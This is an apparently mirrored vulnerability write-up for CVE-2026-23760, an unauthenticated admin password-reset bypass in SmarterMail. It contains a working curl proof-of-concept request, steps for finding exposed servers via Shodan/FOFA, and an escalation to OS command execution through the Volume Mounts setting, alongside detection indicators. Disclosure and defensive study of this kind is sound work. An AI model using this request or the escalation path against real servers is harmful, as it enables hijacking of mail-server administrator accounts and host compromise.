SmarterMail Admin Password-Reset Authentication Bypass (CVE-2026-23760)

Metadata

Affected Target

Summary

SmarterMail’s force-reset-password API endpoint accepts anonymous requests and never validates the caller’s existing password or a reset token before changing the password of a system administrator account. By POSTing a JSON body that names an existing admin username and flags IsSysAdmin as true, an unauthenticated attacker can overwrite that account’s password outright. The only prerequisite is knowing (or guessing) a valid administrator username, which is often predictable (e.g. admin). Once authenticated as system administrator, the attacker can abuse SmarterMail’s built-in “Volume Mounts” feature to execute arbitrary operating-system commands, escalating a pure authentication bypass into full remote code execution on the host.

Vulnerability Details

Root Cause

The /api/v1/auth/force-reset-password endpoint is missing an authorization/ownership check — it trusts the Username/IsSysAdmin fields in the request body instead of verifying the caller already holds a valid session, old password, or reset token for that account.

Attack Vector

1. Identify a target SmarterMail instance (Shodan/FOFA: title='SmarterMail' / html:'SmarterMail').
2. Determine or guess the system administrator’s username (commonly admin).
3. Send an unauthenticated POST to /api/v1/auth/force-reset-password with IsSysAdmin: true and a new password of the attacker’s choosing.
4. Log in with the new admin credentials.
5. Navigate to Settings -> Volume Mounts, create a volume, and place an arbitrary OS command in the “Volume Mount Command” field; the command runs on save.

Impact

Unauthenticated, network-based takeover of the SmarterMail system administrator account, with a direct escalation path to full remote code execution on the underlying host.

Environment / Lab Setup

Target:   SmarterTools SmarterMail build < 9511 (default install, port 9998 admin API)
Attacker: curl / any HTTP client capable of sending a raw POST request

Proof of Concept

PoC Script

See poc-request.http in this folder.

1
2
3

curl -k -X POST "https://<target>:9998/api/v1/auth/force-reset-password" \
  -H "Content-Type: application/json" \
  -d '{"IsSysAdmin":"true","OldPassword":"whatever","Username":"admin","NewPassword":"NewPassword123!@#","ConfirmPassword":"NewPassword123!@#"}'

Sends the unauthenticated password-reset request for the named admin account; a success: true, resultCode: 200 JSON response confirms the password was overwritten and the attacker can now log in as system administrator.

Detection & Indicators of Compromise

POST /api/v1/auth/force-reset-password 200 - <unauthenticated session>

Signs of compromise:

• Unexpected password-reset events on the system administrator account with no corresponding user-initiated reset request.
• New or modified “Volume Mounts” entries containing shell commands rather than legitimate mount paths.
• Admin logins from unfamiliar source IPs immediately following a force-reset-password call.

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/MaxMnMl/smartermail-CVE-2026-23760-poc on 2026-07-05.